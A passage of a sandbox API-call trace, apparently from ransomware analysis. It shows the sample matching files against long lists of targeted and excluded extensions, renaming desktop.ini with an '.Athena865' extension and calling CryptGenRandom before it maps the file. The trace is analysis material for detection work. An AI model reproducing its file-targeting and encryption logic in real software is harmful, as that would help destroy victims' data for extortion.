lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0053.698] lstrlenW (lpString="dtsx") returned 4 [0053.698] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0053.698] lstrlenW (lpString="dxl") returned 3 [0053.698] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0053.698] lstrlenW (lpString="eco") returned 3 [0053.698] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0053.698] lstrlenW (lpString="ecx") returned 3 [0053.698] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0053.698] lstrlenW (lpString="edb") returned 3 [0053.698] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0053.698] lstrlenW (lpString="epim") returned 4 [0053.698] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0053.698] lstrlenW (lpString="fcd") returned 3 [0053.698] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0053.698] lstrlenW (lpString="fdb") returned 3 [0053.698] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0053.698] lstrlenW (lpString="fic") returned 3 [0053.698] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0053.698] lstrlenW (lpString="flexolibrary") returned 12 [0053.698] lstrlenW (lpString="fm5") returned 3 [0053.698] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0053.698] lstrlenW (lpString="fmp") returned 3 [0053.698] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0053.698] lstrlenW (lpString="fmp12") returned 5 [0053.698] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0053.698] lstrlenW (lpString="fmpsl") returned 5 [0053.698] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0053.699] lstrlenW (lpString="fol") returned 3 [0053.699] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0053.699] lstrlenW (lpString="fp3") returned 3 [0053.699] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0053.699] lstrlenW (lpString="fp4") returned 3 [0053.699] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0053.699] lstrlenW (lpString="fp5") returned 3 [0053.699] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0053.699] lstrlenW (lpString="fp7") returned 3 [0053.699] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0053.699] lstrlenW (lpString="fpt") returned 3 [0053.699] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0053.699] lstrlenW (lpString="frm") returned 3 [0053.699] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0053.699] lstrlenW (lpString="gdb") returned 3 [0053.699] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0053.699] lstrlenW (lpString="gdb") returned 3 [0053.699] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0053.699] lstrlenW (lpString="grdb") returned 4 [0053.699] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0053.699] lstrlenW (lpString="gwi") returned 3 [0053.699] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0053.699] lstrlenW (lpString="hdb") returned 3 [0053.699] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0053.699] lstrlenW (lpString="his") returned 3 [0053.699] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0053.699] lstrlenW (lpString="ib") returned 2 [0053.699] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0053.699] lstrlenW (lpString="idb") returned 3 [0053.699] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0053.699] lstrlenW (lpString="ihx") returned 3 [0053.699] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0053.699] lstrlenW (lpString="itdb") returned 4 [0053.700] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0053.700] lstrlenW (lpString="itw") returned 3 [0053.700] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0053.700] lstrlenW (lpString="jet") returned 3 [0053.700] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0053.700] lstrlenW (lpString="jtx") returned 3 [0053.700] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0053.700] lstrlenW (lpString="kdb") returned 3 [0053.700] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0053.700] lstrlenW (lpString="kexi") returned 4 [0053.700] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0053.700] lstrlenW (lpString="kexic") returned 5 [0053.700] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0053.700] lstrlenW (lpString="kexis") returned 5 [0053.700] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0053.700] lstrlenW (lpString="lgc") returned 3 [0053.700] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0053.700] lstrlenW (lpString="lwx") returned 3 [0053.700] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0053.700] lstrlenW (lpString="maf") returned 3 [0053.700] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0053.700] lstrlenW (lpString="maq") returned 3 [0053.700] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0053.700] lstrlenW (lpString="mar") returned 3 [0053.700] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0053.700] lstrlenW (lpString="marshal") returned 7 [0053.700] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0053.700] lstrlenW (lpString="mas") returned 3 [0053.700] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0053.700] lstrlenW (lpString="mav") returned 3 [0053.700] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0053.700] lstrlenW (lpString="maw") returned 3 [0053.700] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0053.700] lstrlenW (lpString="mdbhtml") returned 7 [0053.701] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0053.701] lstrlenW (lpString="mdn") returned 3 [0053.701] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0053.701] lstrlenW (lpString="mdt") returned 3 [0053.701] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0053.701] lstrlenW (lpString="mfd") returned 3 [0053.701] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0053.701] lstrlenW (lpString="mpd") returned 3 [0053.701] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0053.701] lstrlenW (lpString="mrg") returned 3 [0053.701] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0053.701] lstrlenW (lpString="mud") returned 3 [0053.701] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0053.701] lstrlenW (lpString="mwb") returned 3 [0053.701] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0053.701] lstrlenW (lpString="myd") returned 3 [0053.701] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0053.701] lstrlenW (lpString="ndf") returned 3 [0053.701] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0053.701] lstrlenW (lpString="nnt") returned 3 [0053.701] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0053.701] lstrlenW (lpString="nrmlib") returned 6 [0053.701] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0053.701] lstrlenW (lpString="ns2") returned 3 [0053.701] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0053.701] lstrlenW (lpString="ns3") returned 3 [0053.701] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0053.701] lstrlenW (lpString="ns4") returned 3 [0053.701] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0053.701] lstrlenW (lpString="nsf") returned 3 [0053.701] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0053.701] lstrlenW (lpString="nv") returned 2 [0053.701] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0053.702] lstrlenW (lpString="nv2") returned 3 [0053.702] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0053.702] lstrlenW (lpString="nwdb") returned 4 [0053.702] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0053.702] lstrlenW (lpString="nyf") returned 3 [0053.702] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0053.702] lstrlenW (lpString="odb") returned 3 [0053.702] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0053.702] lstrlenW (lpString="odb") returned 3 [0053.702] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0053.702] lstrlenW (lpString="oqy") returned 3 [0053.702] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0053.702] lstrlenW (lpString="ora") returned 3 [0053.702] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0053.702] lstrlenW (lpString="orx") returned 3 [0053.702] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0053.702] lstrlenW (lpString="owc") returned 3 [0053.702] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0053.702] lstrlenW (lpString="p96") returned 3 [0053.702] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0053.702] lstrlenW (lpString="p97") returned 3 [0053.702] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0053.702] lstrlenW (lpString="pan") returned 3 [0053.702] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0053.702] lstrlenW (lpString="pdb") returned 3 [0053.702] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0053.702] lstrlenW (lpString="pdm") returned 3 [0053.702] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0053.702] lstrlenW (lpString="pnz") returned 3 [0053.702] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0053.702] lstrlenW (lpString="qry") returned 3 [0053.702] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0053.702] lstrlenW (lpString="qvd") returned 3 [0053.702] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0053.703] lstrlenW (lpString="rbf") returned 3 [0053.703] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0053.703] lstrlenW (lpString="rctd") returned 4 [0053.703] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0053.703] lstrlenW (lpString="rod") returned 3 [0053.703] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0053.703] lstrlenW (lpString="rodx") returned 4 [0053.703] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0053.703] lstrlenW (lpString="rpd") returned 3 [0053.703] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0053.703] lstrlenW (lpString="rsd") returned 3 [0053.703] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0053.703] lstrlenW (lpString="sas7bdat") returned 8 [0053.703] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0053.703] lstrlenW (lpString="sbf") returned 3 [0053.703] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0053.703] lstrlenW (lpString="scx") returned 3 [0053.703] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0053.703] lstrlenW (lpString="sdb") returned 3 [0053.703] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0053.703] lstrlenW (lpString="sdc") returned 3 [0053.703] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0053.703] lstrlenW (lpString="sdf") returned 3 [0053.703] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0053.703] lstrlenW (lpString="sis") returned 3 [0053.703] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0053.703] lstrlenW (lpString="spq") returned 3 [0053.703] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0053.703] lstrlenW (lpString="te") returned 2 [0053.703] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0053.703] lstrlenW (lpString="teacher") returned 7 [0053.703] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0053.704] lstrlenW (lpString="tmd") returned 3 [0053.704] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0053.704] lstrlenW (lpString="tps") returned 3 [0053.704] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0053.704] lstrlenW (lpString="trc") returned 3 [0053.704] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0053.704] lstrlenW (lpString="trc") returned 3 [0053.704] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0053.704] lstrlenW (lpString="trm") returned 3 [0053.704] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0053.704] lstrlenW (lpString="udb") returned 3 [0053.704] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0053.704] lstrlenW (lpString="udl") returned 3 [0053.704] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0053.704] lstrlenW (lpString="usr") returned 3 [0053.704] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0053.704] lstrlenW (lpString="v12") returned 3 [0053.704] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0053.704] lstrlenW (lpString="vis") returned 3 [0053.704] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0053.704] lstrlenW (lpString="vpd") returned 3 [0053.704] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0053.704] lstrlenW (lpString="vvv") returned 3 [0053.704] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0053.704] lstrlenW (lpString="wdb") returned 3 [0053.704] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0053.704] lstrlenW (lpString="wmdb") returned 4 [0053.704] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0053.704] lstrlenW (lpString="wrk") returned 3 [0053.704] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0053.704] lstrlenW (lpString="xdb") returned 3 [0053.704] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0053.704] lstrlenW (lpString="xld") returned 3 [0053.705] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0053.705] lstrlenW (lpString="xmlff") returned 5 [0053.705] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0053.705] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Links\\desktop.ini.Athena865") returned 61 [0053.705] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Links\\desktop.ini" (normalized: "c:\\documents and settings\\default\\links\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\Default\\Links\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\links\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0053.707] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Links\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\links\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.707] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=580) returned 1 [0053.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db10 [0053.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519998 [0053.708] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519a20) returned 1 [0053.708] CryptGenRandom (in: hProv=0x519a20, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.708] CryptReleaseContext (hProv=0x519a20, dwFlags=0x0) returned 1 [0053.708] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x550, lpName=0x0) returned 0x154 [0053.711] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x550) returned 0x100000 [0053.711] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519a20) returned 1 [0053.712] CryptGenRandom (in: hProv=0x519a20, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.712] CryptReleaseContext (hProv=0x519a20, dwFlags=0x0) returned 1 [0053.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db88 [0053.712] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db88 | out: hHeap=0x4f0000) returned 1 [0053.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0053.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.712] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0053.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.713] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.713] CloseHandle (hObject=0x154) returned 1 [0053.713] CloseHandle (hObject=0x17c) returned 1 [0053.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db10 | out: hHeap=0x4f0000) returned 1 [0053.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519998 | out: hHeap=0x4f0000) returned 1 [0053.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.713] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0053.713] lstrcmpiW (lpString1="Desktop.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.713] lstrcmpiW (lpString1="Desktop.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.713] lstrcmpiW (lpString1="Desktop.lnk", lpString2=".") returned 1 [0053.713] lstrcmpiW (lpString1="Desktop.lnk", lpString2="..") returned 1 [0053.713] lstrcmpiW (lpString1="Desktop.lnk", lpString2="windows") returned -1 [0053.713] lstrcmpiW (lpString1="Desktop.lnk", lpString2="bootmgr") returned 1 [0053.713] lstrcmpiW (lpString1="Desktop.lnk", lpString2="temp") returned -1 [0053.714] lstrcmpiW (lpString1="Desktop.lnk", lpString2="pagefile.sys") returned -1 [0053.714] lstrcmpiW (lpString1="Desktop.lnk", lpString2="boot") returned 1 [0053.714] lstrcmpiW (lpString1="Desktop.lnk", lpString2="ids.txt") returned -1 [0053.714] lstrcmpiW (lpString1="Desktop.lnk", lpString2="ntuser.dat") returned -1 [0053.714] lstrcmpiW (lpString1="Desktop.lnk", lpString2="perflogs") returned -1 [0053.714] lstrcmpiW (lpString1="Desktop.lnk", lpString2="MSBuild") returned -1 [0053.714] lstrlenW (lpString="Desktop.lnk") returned 11 [0053.714] lstrcpyW (in: lpString1=0x241e898, lpString2="Desktop.lnk" | out: lpString1="Desktop.lnk") returned="Desktop.lnk" [0053.714] lstrlenW (lpString="Desktop.lnk") returned 11 [0053.714] lstrlenW (lpString="Athena865") returned 9 [0053.714] lstrcmpiW (lpString1="sktop.lnk", lpString2="Athena865") returned 1 [0053.714] lstrlenW (lpString=".dll") returned 4 [0053.714] lstrcmpiW (lpString1="Desktop.lnk", lpString2=".dll") returned 1 [0053.714] lstrlenW (lpString=".lnk") returned 4 [0053.714] lstrcmpiW (lpString1="Desktop.lnk", lpString2=".lnk") returned 1 [0053.714] lstrlenW (lpString=".ini") returned 4 [0053.714] lstrcmpiW (lpString1="Desktop.lnk", lpString2=".ini") returned 1 [0053.714] lstrlenW (lpString=".sys") returned 4 [0053.714] lstrcmpiW (lpString1="Desktop.lnk", lpString2=".sys") returned 1 [0053.714] lstrlenW (lpString="Desktop.lnk") returned 11 [0053.714] lstrlenW (lpString="bak") returned 3 [0053.714] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0053.714] lstrlenW (lpString="ba_") returned 3 [0053.714] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0053.714] lstrlenW (lpString="dbb") returned 3 [0053.714] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0053.714] lstrlenW (lpString="vmdk") returned 4 [0053.714] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0053.714] lstrlenW (lpString="rar") returned 3 [0053.714] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0053.714] lstrlenW (lpString="zip") returned 3 [0053.714] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0053.714] lstrlenW (lpString="tgz") returned 3 [0053.714] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0053.715] lstrlenW (lpString="vbox") returned 4 [0053.715] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0053.715] lstrlenW (lpString="vdi") returned 3 [0053.715] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0053.715] lstrlenW (lpString="vhd") returned 3 [0053.715] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0053.715] lstrlenW (lpString="vhdx") returned 4 [0053.715] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0053.715] lstrlenW (lpString="avhd") returned 4 [0053.715] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0053.715] lstrlenW (lpString="db") returned 2 [0053.715] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0053.715] lstrlenW (lpString="db2") returned 3 [0053.715] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0053.715] lstrlenW (lpString="db3") returned 3 [0053.715] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0053.715] lstrlenW (lpString="dbf") returned 3 [0053.715] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0053.715] lstrlenW (lpString="mdf") returned 3 [0053.715] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0053.715] lstrlenW (lpString="mdb") returned 3 [0053.715] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0053.715] lstrlenW (lpString="sql") returned 3 [0053.715] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0053.715] lstrlenW (lpString="sqlite") returned 6 [0053.715] lstrcmpiW (lpString1="op.lnk", lpString2="sqlite") returned -1 [0053.715] lstrlenW (lpString="sqlite3") returned 7 [0053.715] lstrcmpiW (lpString1="top.lnk", lpString2="sqlite3") returned 1 [0053.715] lstrlenW (lpString="sqlitedb") returned 8 [0053.715] lstrcmpiW (lpString1="ktop.lnk", lpString2="sqlitedb") returned -1 [0053.715] lstrlenW (lpString="xml") returned 3 [0053.715] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0053.715] lstrlenW (lpString="$er") returned 3 [0053.715] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0053.716] lstrlenW (lpString="4dd") returned 3 [0053.716] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0053.716] lstrlenW (lpString="4dl") returned 3 [0053.716] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0053.716] lstrlenW (lpString="^^^") returned 3 [0053.716] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0053.716] lstrlenW (lpString="abs") returned 3 [0053.716] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0053.716] lstrlenW (lpString="abx") returned 3 [0053.716] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0053.716] lstrlenW (lpString="accdb") returned 5 [0053.716] lstrcmpiW (lpString1="p.lnk", lpString2="accdb") returned 1 [0053.716] lstrlenW (lpString="accdc") returned 5 [0053.716] lstrcmpiW (lpString1="p.lnk", lpString2="accdc") returned 1 [0053.716] lstrlenW (lpString="accde") returned 5 [0053.716] lstrcmpiW (lpString1="p.lnk", lpString2="accde") returned 1 [0053.716] lstrlenW (lpString="accdr") returned 5 [0053.716] lstrcmpiW (lpString1="p.lnk", lpString2="accdr") returned 1 [0053.716] lstrlenW (lpString="accdt") returned 5 [0053.716] lstrcmpiW (lpString1="p.lnk", lpString2="accdt") returned 1 [0053.716] lstrlenW (lpString="accdw") returned 5 [0053.716] lstrcmpiW (lpString1="p.lnk", lpString2="accdw") returned 1 [0053.716] lstrlenW (lpString="accft") returned 5 [0053.716] lstrcmpiW (lpString1="p.lnk", lpString2="accft") returned 1 [0053.716] lstrlenW (lpString="adb") returned 3 [0053.716] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0053.716] lstrlenW (lpString="adb") returned 3 [0053.716] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0053.716] lstrlenW (lpString="ade") returned 3 [0053.716] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0053.716] lstrlenW (lpString="adf") returned 3 [0053.716] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0053.716] lstrlenW (lpString="adn") returned 3 [0053.716] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0053.716] lstrlenW (lpString="adp") returned 3 [0053.717] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0053.717] lstrlenW (lpString="alf") returned 3 [0053.717] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0053.717] lstrlenW (lpString="ask") returned 3 [0053.717] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0053.717] lstrlenW (lpString="btr") returned 3 [0053.717] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0053.717] lstrlenW (lpString="cat") returned 3 [0053.717] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0053.717] lstrlenW (lpString="cdb") returned 3 [0053.717] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0053.717] lstrlenW (lpString="ckp") returned 3 [0053.717] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0053.717] lstrlenW (lpString="cma") returned 3 [0053.717] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0053.717] lstrlenW (lpString="cpd") returned 3 [0053.717] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0053.717] lstrlenW (lpString="dacpac") returned 6 [0053.717] lstrcmpiW (lpString1="op.lnk", lpString2="dacpac") returned 1 [0053.717] lstrlenW (lpString="dad") returned 3 [0053.717] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0053.717] lstrlenW (lpString="dadiagrams") returned 10 [0053.717] lstrcmpiW (lpString1="esktop.lnk", lpString2="dadiagrams") returned 1 [0053.717] lstrlenW (lpString="daschema") returned 8 [0053.717] lstrcmpiW (lpString1="ktop.lnk", lpString2="daschema") returned 1 [0053.717] lstrlenW (lpString="db-journal") returned 10 [0053.717] lstrcmpiW (lpString1="esktop.lnk", lpString2="db-journal") returned 1 [0053.717] lstrlenW (lpString="db-shm") returned 6 [0053.717] lstrcmpiW (lpString1="op.lnk", lpString2="db-shm") returned 1 [0053.717] lstrlenW (lpString="db-wal") returned 6 [0053.717] lstrcmpiW (lpString1="op.lnk", lpString2="db-wal") returned 1 [0053.717] lstrlenW (lpString="dbc") returned 3 [0053.717] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0053.717] lstrlenW (lpString="dbs") returned 3 [0053.718] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0053.718] lstrlenW (lpString="dbt") returned 3 [0053.718] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0053.718] lstrlenW (lpString="dbv") returned 3 [0053.718] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0053.718] lstrlenW (lpString="dbx") returned 3 [0053.718] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0053.718] lstrlenW (lpString="dcb") returned 3 [0053.718] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0053.718] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1 [0053.718] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and 